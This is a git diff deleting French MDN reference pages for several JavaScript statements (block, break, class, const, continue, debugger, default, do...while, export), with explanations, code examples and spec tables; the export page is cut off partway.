- - diff --git a/files/fr/web/javascript/reference/instructions/bloc/index.html b/files/fr/web/javascript/reference/instructions/bloc/index.html deleted file mode 100644 index 5ea869f037..0000000000 --- a/files/fr/web/javascript/reference/instructions/bloc/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: bloc -slug: Web/JavaScript/Reference/Instructions/bloc -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/block ---- -
{{jsSidebar("Statements")}}
- -

Une instruction de bloc est utilisée afin de grouper zéro ou plusieurs instructions. Le bloc est délimité par une paire d'accolades. On peut éventuellement « étiqueter » un bloc avec un label.

- -
{{EmbedInteractiveExample("pages/js/statement-block.html")}}
- - - -

Syntaxe

- -

Instruction de bloc

- -
{
-  instruction_1;
-  instruction_2;
-  ...
-  instruction_n;
-}
-
- -

Instruction de bloc étiquetée

- -
// ou, avec une étiquette :
-label {
-  instruction_1;
-  instruction_2;
-  instruction_n;
-}
-
- -
-
instruction_1, instruction_2, instruction_n
-
Les instructions qu'on souhaite regrouper au sein du bloc.
-
label {{optional_inline}}
-
Une étiquette qui permet une identification visuelle de la cible d'une instruction break.
-
- -

Description

- -

Cette instruction est le plus souvent utilisée avec les instructions de contrôle (ex. {{jsxref("Instructions/if...else")}}, {{jsxref("Instructions/for")}}, {{jsxref("Instructions/while")}}). On verra ainsi :

- -
while (x < 10) {
-  x++;
-}
-
- -

On peut voir dans cet exemple que cette instruction se termine sans point-virgule.

- -

L'instruction de bloc est souvent appelée instruction composée (compound statement) dans d'autres langages. En effet, elle permet d'utiliser plusieurs instructions là où JavaScript n'attend qu'une instruction. C'est une pratique courante que de combiner plusieurs instructions grâce aux blocs. À l'opposé, on peut utiliser une {{jsxref("Instructions/vide","instruction vide","",1)}} pour ne rien faire là où JavaScript attend une instruction.

- -

Gestion des portées

- -

Avec var

- -

Important : Le bloc n'introduit aucune portée pour les variables déclarées avec var ou pour les déclarations de fonction. Les variables introduites dans un bloc font partie de la portée de la fonction ou du script, elles persisteront donc en dehors du bloc. Autrement dit, aucune portée n'est introduite par les blocs. Bien qu'il soit tout à fait possible d'utiliser des blocs hors de tout contexte, il est fortement déconseillé de coder de cette façon. En effet, les blocs ne se comportent pas comme d'autres langages tels que C ou Java et il pourrait être surprenant de lire un tel code. Par exemple :

- -
var x = 1;
-{
-  var x = 2;
-}
-console.log(x); // affiche 2
-
- -

Cela affiche 2 dans la console car l'instruction var x au sein du bloc partage la même portée que l'instruction var x précédente en dehors du bloc. Un code C ou Java équivalent aurait produit 1.

- -

Avec let et const

- -

En revanche, les identifiants déclarés avec let et const appartiennent à la portée du bloc : 

- -
let x = 1;
-{
-  let x = 2;
-}
-console.log(x); // affiche 1
-
- -

On voit ici que l'instruction x = 2 est limitée à la portée du bloc dans laquelle elle est présente.

- -

On a le même résultat avec const.

- -
const c = 1;
-{
-  const c = 2;
-}
-console.log(c); // affiche 1, il n'y a pas de SyntaxError
-
- -

On notera que l'instruction const c = 2 ne lève pas d'exception SyntaxError car on a une seule déclaration de c pour ce bloc.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-block', 'instruction de bloc')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-block', 'instruction de bloc')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.block")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/while", "while")}}
    • -
  • {{jsxref("Instructions/if...else", "if...else")}}
    • -
  • {{jsxref("Instructions/let", "let")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/break/index.html b/files/fr/web/javascript/reference/instructions/break/index.html deleted file mode 100644 index bc3a1c12df..0000000000 --- a/files/fr/web/javascript/reference/instructions/break/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: break -slug: Web/JavaScript/Reference/Instructions/break -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/break ---- -
{{jsSidebar("Statements")}}
- -

L'instruction break permet de terminer la boucle en cours ou l'instruction {{jsxref("Instructions/switch", "switch")}} ou {{jsxref("Instructions/label", "label")}} en cours et de passer le contrôle du programme à l'instruction suivant l'instruction terminée.

- -
{{EmbedInteractiveExample("pages/js/statement-break.html")}}
- - - -

Syntaxe

- -
break [label];
- -
-
label {{optional_inline}}
-
Un identifiant optionnel associé avec l'étiquette (label) de l'instruction. Si l'instruction à terminer n'est pas une boucle ou une instruction {{jsxref("Instructions/switch", "switch")}}, ce paramètre est nécessaire.
-
- -

Description

- -

L'instruction break peut être utilisée avec une étiquette (label) optionnelle qui permet d'interrompre une instruction étiquetée. L'instruction break doit être imbriquée au sein de l'instruction référencée. L'instruction étiquetée peut correspondre à n'importe quel instruction de {{jsxref("Instructions/bloc", "bloc","",1)}} ; il n'est pas nécessaire qu'elle soit précédée par une instruction de boucle.

- -

Une instruction break, suivie ou non d'une étiquette, ne peut pas être utilisée dans le corps d'une fonction appartenant elle-même à une boucle, à une instruction {{jsxref("Instructions/switch")}} ou à une instruction label.

- -

Exemples

- -

Exemple simple utilisant break

- -

La fonction qui suit utilise une instruction break qui interrompt la boucle {{jsxref("Instructions/while", "while")}} lorsque i vaut 3, grâce à l'instruction qui suit, la fonction renvoie 3 * x.

- -
function testBreak(x) {
-   var i = 0;
-
-   while (i < 6) {
-      if (i == 3) {
-         break;
-      }
-      i += 1;
-   }
-   return i * x;
-}
- -

Utiliser break avec les labels

- -

Dans le code suivant, on utilise les instructions break avec des blocs étiquetés. Une instruction break doit être présente à l'intérieur du bloc auquel elle fait référence. Ici, on voit que bloc_interne est compris dans bloc_externe.

- -
bloc_externe: {
-
-  bloc_interne: {
-    console.log ('1');
-    break bloc_externe;  // interrompt bloc_externe ET bloc_interne
-    console.log (':-('); // ignoré
-  }
-
-  console.log ('2');     // ignoré
-}
-
- -

Dans le code qui suit, on utilise également des instructions break avec des blocs étiquetés mais on obtient une exception SyntaxError car l'instruction break au sein de bloc_1 référence bloc_2, or bloc_1 n'est pas compris dans bloc_2 :

- -
bloc_1: {
-  console.log ('1');
-  break bloc_2;  // SyntaxError: label not found
-}
-
-bloc_2: {
-  console.log ('2');
-}
-
- -

Utiliser break dans des fonctions imbriquées dans des boucles

- -

Dans le cas d'une fonction imbriquée dans une boucle while :

- -
function testBreak(x){
-  var i = 0;
-  while (i < 6) {
-    if (i === 3) {
-      (function() {
-        break;
-      })();
-    }
-    i += 1;
-  }
-  return i * x;
-}
-
-testBreak(1); // SyntaxError: Illegal break statement
- -

Dans le cas d'une fonction imbriquée dans une instruction label :

- -
bloc_1: {
-  console.log('1');
-  (function() {
-    break bloc_1; // SyntaxError: Undefined label 'bloc_1'
-  })();
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Version non étiquetée.
{{SpecName('ES3')}}{{Spec2('ES3')}}Version étiquetée ajoutée.
{{SpecName('ES5.1', '#sec-12.8', 'instruction break')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-break-statement', 'instruction break')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.break")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/continue", "continue")}}
    • -
  • {{jsxref("Instructions/label", "label")}}
    • -
  • {{jsxref("Instructions/switch", "switch")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/class/index.html b/files/fr/web/javascript/reference/instructions/class/index.html deleted file mode 100644 index 3fbbc7cb28..0000000000 --- a/files/fr/web/javascript/reference/instructions/class/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: class -slug: Web/JavaScript/Reference/Instructions/class -tags: - - Classes - - ECMAScript 2015 - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/class ---- -
{{jsSidebar("Statements")}}
- -

La déclaration class crée une nouvelle classe avec le nom fourni en utilisant l'héritage à base de prototypes pour émuler le fonctionnement de classe.

- -
{{EmbedInteractiveExample("pages/js/statement-class.html")}}
- - - -

Il est aussi possible de définir une classe avec une {{jsxref("Opérateurs/class", "expression class","",1)}}.

- -

Syntaxe

- -
class nom [extends]{
-  // corps de la classe
-}
-
- -

Description

- -

Les déclarations qui composent le corps de la classe sont exécutées en mode strict. La propriété du constructeur est optionnelle.

- -

Les déclarations utilisées dans les classes ne sont pas remontées (hoisted) (à la différence des déclarations de fonctions).

- -

Exemples

- -

Déclarer une classe simple

- -

Dans l'exemple qui suit, on définit une classe Polygone pour laquelle on crée un sous-classe Carré. On note ici que la méthode super() ne peut être utilisée qu'au sein d'un constructeur et doit être appelée avant l'utilisation du mot-clé this.

- -
class Polygone {
-  constructor(hauteur, largeur) {
-    this.nom = 'Polygone';
-    this.hauteur = hauteur;
-    this.largeur = largeur;
-  }
-}
-
-class Carré extends Polygone {
-  constructor(longueur) {
-    super(longueur,longueur);
-    this.nom = 'Carré';
-  }
-}
-
- -
-

Attention : Déclarer une classe deux fois lèvera une exception SyntaxError. De même, on ne pourra pas réutiliser un nom qui a déjà été utilisé dans une expression de classe.

- -
// Deux déclarations avec le même nom
-class Toto {};
-class Toto {}; // Uncaught SyntaxError: Identifier 'Toto' has already been declared
-
-// Expression puis déclaration
-var Truc = class {};
-class Truc {}; // Uncaught TypeError: Identifier 'Truc' has already been declared
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-class-definitions', 'Définitions de classe')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-class-definitions', 'Définitions de classe')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.class")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/const/index.html b/files/fr/web/javascript/reference/instructions/const/index.html deleted file mode 100644 index 1431986d29..0000000000 --- a/files/fr/web/javascript/reference/instructions/const/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: const -slug: Web/JavaScript/Reference/Instructions/const -tags: - - ECMAScript 2015 - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/const ---- -
{{jsSidebar("Statements")}}
- -

La déclaration const permet de créer une constante nommée accessible uniquement en lecture. Cela ne signifie pas que la valeur contenue est immuable, uniquement que l'identifiant ne peut pas être réaffecté. Autrement dit la valeur d'une constante ne peut pas être modifiée par des réaffectations ultérieures. Une constante ne peut pas être déclarée à nouveau.

- -
{{EmbedInteractiveExample("pages/js/statement-const.html")}}
- - - -

Syntaxe

- -
const nom1 = valeur1 [, nom2 = valeur2 [, ... [, nomN = valeurN]]];
- -
-
nomN
-
Le nom de la constante. Ce nom peut être n'importe quel identifiant valide.
-
valeurN
-
La valeur à associer à la constante. Cette valeur peut être n'importe quelle expression valide (éventuellement une expression de fonction).
-
- -

Description

- -

Cette déclaration permet de créer une constante qui peut être globale ou locale pour la fonction dans laquelle elle a été déclarée. Les constantes font partie de la portée du bloc (comme les variables définies avec let). À la différence des variables définies avec var, les constantes déclarées au niveau global ne sont pas des propriétés de l'objet global ({{domxref("window")}} dans le cas du navigateur). Il est nécessaire d'initialiser une constante lors de sa déclaration. Au sein d'une même portée, il est impossible d'avoir une constante qui partage le même nom qu'une variable ou qu'une fonction.

- -

Attention, la déclaration const crée une référence en lecture seule vers une valeur. Cela ne signifie pas que la valeur référencée ne peut pas être modifiée ! Ainsi, si le contenu de la constante est un objet, l'objet lui-même pourra toujours être modifié.

- -
-

Note : Les aspects liés à la zone morte temporelle de let s'appliquent également à const.

-
- -

Exemples

- -

Les instructions suivantes illustrent comment fonctionne cette déclaration. On pourra tester ces instructions dans la console afin d'observer le comportement obtenu :

- -
// On définit ma_fav comme une constante
-// et on lui affecte la valeur 7
-// Généralement, par convention, les
-// constantes sont en majuscules
-const MA_FAV = 7;
-
-// Cette réaffectation lèvera une exception TypeError
-MA_FAV = 20;
-
-// affichera 7
-console.log("mon nombre favori est : " + MA_FAV);
-
-// toute tentative de redéclaration renvoie une erreur
-// SyntaxError: Identifier 'MY_FAV' has already been declared
-const MA_FAV = 20;
-
-// le nom ma_fav est réservé par la constante ci-dessus
-// cette déclaration échouera donc également
-var MA_FAV = 20;
-
-// cela renvoie également une erreur
-let MA_FAV = 20;
-
-
-// On notera l'importance de la portée de bloc :
-if (MA_FAV === 7) {
-  // cela fonctionne sans problème et crée
-  // une nouvelle variable dans cette portée
-  let MA_FAV =  20;
-
-  // Ici, MA_FAV vaut 20
-  console.log("mon nombre préféré est " + MA_FAV);
-
-  // L'instruction suivante est remontée dans le
-  // contexte global et provoque une erreur !
-  var MA_FAV = 20;
-
-}
-
-// MA_FAV vaut toujours 7
-console.log("mon nombre favori est " + MA_FAV);
-
-// const nécessite une initialisation
-const TOTO; // SyntaxError: Missing initializer in const
-
-// const fonctionne également avec les objects
-const monObjet = {"clé": "valeur"};
-
-// Écraser l'objet échouera comme précédemment
-monObjet = {"autreClé": "valeur"};
-
-// En revanche, les clés d'un objet ne sont pas
-// protégés et on peut donc, de façon valide, avoir
-monObjet.clé = "autreValeur";
-// On utilisera Object.freeze() afin qu'un objet soit immuable
-
-// Il en va de même avec les tableaux
-const mon_tableau = [];
-// On peut ajouter des éléments au tableau
-mon_tableau.push("A"); // ["A"]
-// Mais on ne peut pas affecter une nouvelle valeur
-mon_tableau = ["B"]; // lève une exception
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Déclarations let et const')}}{{Spec2('ESDraft')}}Aucune modification.
{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Déclarations let et const')}}{{Spec2('ES2015')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.const")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/continue/index.html b/files/fr/web/javascript/reference/instructions/continue/index.html deleted file mode 100644 index db9b22e973..0000000000 --- a/files/fr/web/javascript/reference/instructions/continue/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: continue -slug: Web/JavaScript/Reference/Instructions/continue -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/continue ---- -
{{jsSidebar("Statements")}}
- -

L'instruction continue arrête l'exécution des instructions pour l'itération de la boucle courante ou de la boucle étiquetée. L'exécution est reprise à l'itération suivante.

- -
{{EmbedInteractiveExample("pages/js/statement-continue.html")}}
- - - -

Syntaxe

- -
continue [ label ];
- -
-
label
-
Paramètre optionnel. Un identifiant associé à l'étiquette (label) de l'instruction pour laquelle on souhaite finir l'itération en cours.
-
- -

Description

- -

Contrairement à {{jsxref("Instructions/break", "break")}}, continue ne termine pas la boucle complètement :

- -
    -
  • au sein d'une boucle {{jsxref("Instructions/while", "while")}}, elle repart à la phase de la condition.
    • -
- -
    -
  • au sein d'une boucle {{jsxref("Instructions/for", "for")}}, elle repart à l'expression de mise à jour de la boucle.
    • -
- -

L'instruction continue peut éventuellement contenir une étiquette (label) qui permet de tirer parti des instructions de boucles étiquetées (plutôt que de ne traiter que la boucle courante). Dans le cas où l'étiquette est utilisée, il faut que l'instruction continue soit imbriquée dans l'instruction étiquetée.

- -

Exemples

- -

Utiliser continue avec while

- -

L'instruction suivante illustre comment on peut utiliser continue au sein d'une boucle {{jsxref("Instructions/while", "while")}}, ici continue est utilisé lorsque i vaut 3. On a donc n qui prend les valeurs 1, 3, 7, et 12.

- -
var i = 0;
-var n = 0;
-while (i < 5) {
-  i++;
-  if (i === 3) {
-    continue;
-  }
-  n += i;
-}
-
- -

Utiliser continue avec une étiquette

- -

Dans l'exemple suivant, on a une instruction étiquetée vérifIetJ qui contient une autre instruction étiquetée vérifJ. Si l'instruction continue est utilisée, le programme reprend l'exécution au début de l'instruction vérifJ. Chaque fois que continue utilisé, vérifJ réitère jusqu'à ce que sa condition renvoie false. Lorsque c'est le cas, le reste de l'instruction vérifIetJ est exécuté.

- -

Si continue utilisait l'étiquette vérifIetJ, le programme continuerait au début de l'instruction vérifIetJ.

- -

Voir aussi {{jsxref("Instructions/label", "label")}}.

- -
var i = 0;
-var j = 8;
-
-vérifIetJ: while (i < 4) {
-  console.log("i : " + i);
-  i += 1;
-
-  vérifJ: while (j > 4) {
-    console.log("j : "+ j);
-    j -= 1;
-    if ((j % 2) == 0){
-      continue vérifJ;
-    }
-    console.log(j + " est impaire.");
-   }
-   console.log("i = " + i);
-   console.log("j = " + j);
-}
-
- -

En utilisant le fragment ci-avant, on aura le résultat suivant :

- -
"i : 0"
-
-// début de vérifJ
-"j : 8"
-"7 est impair"
-"j : 7"
-"j : 6"
-"5 est impair."
-"j : 5"
-// fin de vérifJ
-
-"i = 1"
-"j = 4"
-
-"i : 1"
-"i = 2"
-"j = 4"
-
-"i : 2"
-"i = 3"
-"j = 4"
-
-"i : 3"
-"i = 4"
-"j = 4"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Pas de version étiquetée.
{{SpecName('ES3')}}{{Spec2('ES3')}}Ajout de la version étiquetée.
{{SpecName('ES5.1', '#sec-12.7', 'instruction continue')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-continue-statement', 'instruction continue')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-continue-statement', 'instruction continue')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.continue")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/break", "break")}}
    • -
  • {{jsxref("Instructions/label", "label")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/debugger/index.html b/files/fr/web/javascript/reference/instructions/debugger/index.html deleted file mode 100644 index bd8f9f0689..0000000000 --- a/files/fr/web/javascript/reference/instructions/debugger/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: debugger -slug: Web/JavaScript/Reference/Instructions/debugger -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/debugger ---- -
{{jsSidebar("Statements")}}
- -

L'instruction debugger permet de faire appel à un outil de débogage (qui peut par exemple permettre de placer un point d'arrêt). Si cette fonctionnalité de débogage n'est pas disponible, l'instruction n'aura aucun effet.

- -

Syntaxe

- -
debugger;
- -

Exemples

- -

Dans l'exemple qui suit, on utilise un code avec l'instruction debugger qui permet de démarrer un débogueur (s'il existe) lorsque la fonction est appelée :

- -
function codeProbablementBogue() {
-    debugger;
-    // exécuter des instructions qu'on veut
-    // examiner, exécuter pas à pas etc.
-}
- -

Lors que le débogueur est lancé, l'exécution est interrompue au niveau de l'instruction debugger. Cela agit comme un point d'arrêt dans le code du script :

- -

Paused at a debugger statement.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-debugger-statement', 'instruction debugger')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.15', 'instruction debugger')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES3', '#sec-7.5.3', 'instruction debugger')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-7.4.3', 'instruction debugger')}}{{Spec2('ES1')}}Uniquement mentionné comme mot-clé réservé.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.debugger")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/default/index.html b/files/fr/web/javascript/reference/instructions/default/index.html deleted file mode 100644 index e2cc368115..0000000000 --- a/files/fr/web/javascript/reference/instructions/default/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: default -slug: Web/JavaScript/Reference/Instructions/default -tags: - - JavaScript - - Keyword - - Reference -translation_of: Web/JavaScript/Reference/Statements/switch -translation_of_original: Web/JavaScript/Reference/Statements/default ---- -
{{jsSidebar("Statements")}}
- -

Le mot-clé default peut être utilisé à deux endroits en JavaScript : au sein d'une instruction {{jsxref("Instructions/switch", "switch")}} ou dans une instruction {{jsxref("Instructions/export", "export")}}.

- -
{{EmbedInteractiveExample("pages/js/statement-default.html")}}
- - - -

Syntaxe

- -

Dans une instruction {{jsxref("Instructions/switch", "switch")}} :

- -
switch (expression) {
-  case valeur1:
-    // Les instructions exécutées quand le résultat
-    // de l'expression vaut valeur1
-    [break;]
-  default:
-    // Les instructions exécutées quand aucune des valeurs
-    // ne correspond à la valeur de l'expression
-    [break;]
-}
- -

Dans une instruction {{jsxref("Instructions/export", "export")}} :

- -
export default nomN
- -

Description

- -

Pour plus de détails, voir les pages sur :

- -
    -
  • L'instruction {{jsxref("Instructions/switch", "switch")}} et
    • -
  • L'instruction {{jsxref("Instructions/export", "export")}}.
    • -
- -

Exemples

- -

Utiliser default dans une instruction switch

- -

Dans l'exemple qui suit, si expr vaut "Bananes" ou "Pommes", le programme exécutera les instructions correspondantes à chacune de ces valeurs. Le mot-clé default permettra d'indiquer des instructions à exécuter dans les autres cas (expr ne correspond à aucun des cas).

- -
switch (expr) {
-  case "Bananes":
-    console.log("Les bananes sont à 1.59€ le kilo.");
-    break;
-  case "Pommes":
-    console.log("Les pommes sont à 0.78€ le kilo.");
-    break;
-  default:
-    console.log("Désolé, nous n'avons plus de " + expr + ".");
-}
- -

Utiliser default avec export

- -

Si on souhaite exporter une seule valeur ou avoir une valeur par défaut dans un module, on peut utiliser un export avec default :

- -
// module "mon-module.js"
-let cube = function cube(x) {
-  return x * x * x;
-}
-export default cube;
- -

Dans un autre script, on pourra simplement faire référence à l'export par défaut :

- -
// module "autre-module.js"
-import maFonction from 'mon-module';
-console.log(maFonction(3)); // 27
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-switch-statement', 'Instruction switch')}}{{Spec2('ES6')}} 
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.default")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/export", "export")}}
    • -
  • {{jsxref("Instructions/switch", "switch")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/do...while/index.html b/files/fr/web/javascript/reference/instructions/do...while/index.html deleted file mode 100644 index 444c82245d..0000000000 --- a/files/fr/web/javascript/reference/instructions/do...while/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: do...while -slug: Web/JavaScript/Reference/Instructions/do...while -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/do...while ---- -
{{jsSidebar("Statements")}}
- -

L'instruction do...while crée une boucle qui exécute une instruction jusqu'à ce qu'une condition de test ne soit plus vérifiée. La condition est testée après que l'instruction soit exécutée, le bloc d'instructions défini dans la boucle est donc exécuté au moins une fois.

- -
{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}
- - - -

Syntaxe

- -
do
-   instruction
-while (condition);
-
- -
-
instruction
-
Une instruction exécutée au moins une fois et ré-exécutée chaque fois que la condition de test est évaluée à true. On peut exécuter plusieurs instructions au sein d'une boucle grâce à l'instruction {{jsxref("Instructions/block", "block")}} ({ ... }) qui permet de grouper différentes instructions en une seule.
-
- -
-
condition
-
Une expression évaluée après chaque passage dans la boucle. Si l'évaluation de la condition donne true (la condition est vérifiée), instruction sera exécutée à nouveau. Lorsque condition donne false, le contrôle passe à l'instruction suivant la boucle do...while.
-
- -

Exemples

- -

Utiliser do...while

- -

Dans l'exemple suivant, la boucle do...while est parcourue au moins une fois et répétée jusqu'à ce que i ne soit plus strictement inférieur à 5.

- -
var i = 0;
-do {
-   i += 1;
-   console.log(i);
-} while (i < 5);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.6.1', 'instruction do-while')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-do-while-statement', 'instruction do-while')}}{{Spec2('ES6')}}Le point-virgule de fin est désormais optionnel.
{{SpecName('ESDraft', '#sec-do-while-statement', 'instruction do-while')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.do_while")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/while", "while")}}
    • -
  • {{jsxref("Instructions/for", "for")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/export/index.html b/files/fr/web/javascript/reference/instructions/export/index.html deleted file mode 100644 index bb310cb9be..0000000000 --- a/files/fr/web/javascript/reference/instructions/export/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: export -slug: Web/JavaScript/Reference/Instructions/export -tags: - - ECMAScript 2015 - - Instruction - - JavaScript - - Modules - - export -translation_of: Web/JavaScript/Reference/Statements/export ---- -
{{jsSidebar("Statements")}}
- -

L'instruction export est utilisée lors de la création de modules JavaScript pour exporter des fonctions, des objets ou des valeurs primitives à partir du module, de sorte qu'ils puissent être utilisés par d'autres programmes grâce à l'instruction {{jsxref("Instructions/import", "import")}}.

- -

Les modules exportés sont interprétés en mode strict dans tous les cas. L'instruction export ne peut pas être utilisée dans les scripts embarqués.

- -

Syntaxe

- -
// Exporter des propriétés individuelles
-export let nom1, nom2, …, nomN; // utilisable avec var, const
-export let nom1 = …, nom2 = …, …, nomN; // utilisable avec var, const
-export function nomFonction(){...}
-export class NomClasse {...}
-
-// Export d'une liste de valeur
-export { nom1, nom2, …, nomN };
-
-// Renommage des valeurs exportées
-export { variable1 as nom1, variable2 as nom2, …, nomN };
-
-// Renommage avec la décomposition pour l'affectation
-export const { nom1, nom2: truc } = o;
-
-// Exports par défauts
-export default expression;
-export default function (…) { … } // fonctionne avec class, function*
-export default function nom1(…) { … } // fonctionne avec class, function*
-export { nom1 as default, … };
-
-// Agrégation de modules
-export * from …;
-export { nom1, nom2, …, nomN } from …;
-export { import1 as nom1, import2 as nom2, …, nomN } from …;
-export { default } from …;
- -
-
nomN
-
Identifiant à exporter (afin qu'il puisse être importé via {{jsxref("Statements/import", "import")}} dans un autre script).
-
- -

Description

- -

Il existe deux types d'export différents : les exports nommés et les exports par défaut. Il est possible d'avoir plusieurs exports nommés mais un seul export par défaut. Chaque type correspond à une des syntaxes ci-dessus :

- -
    -
  • Les exports nommés : - 
    // exporte une fonction déclarée précédemment
-export { maFonction };
-
-// exporte une constante
-export const machin = Math.sqrt(2);
    -
    • -
  • Les exports par défaut (fonction) : - 
    export default function() {}
    -
    • -
  • Les exports par défaut (classe) : - 
    export default class {}
    -
    • -
- -

Les exports nommés sont utiles pour exporter plusieurs valeurs. Lors de l'importation, il est obligatoire d'utiliser le même nom de l'objet correspondant.

- -

Mais un export par défaut peut être importé avec n'importe quel nom, par exemple :

- -
let k;
-export default k = 12; // dans le fichier test.js
-import m from './test'; // notez que nous avons la liberté d'utiliser import m au lieu de import k, parce que k était l'export par défaut
-console.log (m); // enregistrera 12
- -

La syntaxe suivante n'exporte pas le défaut depuis le module importé :

- -
export * from …;
- -

Si vous avez besoin d'exporter le défaut, écrivez ce qui suit à la place :

- -
export {default} from 'mod';
- -

Il est possible de renommer un export afin d'éviter des conflits de nommage :

- -
export { maFonction as fonction1
-         maVariable as variable1 };
- -

On peut également agréger les valeurs exportées à celles d'autres modules qu'on aurait importés :

- -
// Dans moduleParent.js
-export { maFonction, maVariable } from 'moduleFils1.js';
-export { maClasse } from 'moduleFils2.js'
-
-// Dans le module de plus haut niveau
-import { maFonction, maVariable, maClasse } from 'moduleParent.js';
- -

Exemples

- -

Utilisation d'exports nommés

- -

Dans le module, on pourra utiliser le code suivant :

- -
// module "mon-module.js"
-function cube(x) {
-  return x * x * x;
-}
-const machin = Math.PI + Math.SQRT2;
-export { cube, machin };
-
- -

De cette façon, dans un autre script, on pourra avoir :

- -
import { cube, machin } from 'mon-module';
-console.log(cube(3)); // 27
-console.log(machin);    // 4.555806215962888
- -
-

Note : Si l'import est réalisé dans un script HTML, il faut que celui-ci soit chargé avec l'attribut {{htmlattrxref("type")}} "module" : <script type="module" src="./demo.js"></script> sinon il y aura une erreur quant aux origines multiples (CORS).
- Il n'est pas possible de charger des modules JavaScript via une URL file:// pour des raisons de sécurité (voir CORS également). Il faudra utiliser un serveur HTTP.

-
- -

Utilisation d'exports par défaut

- -

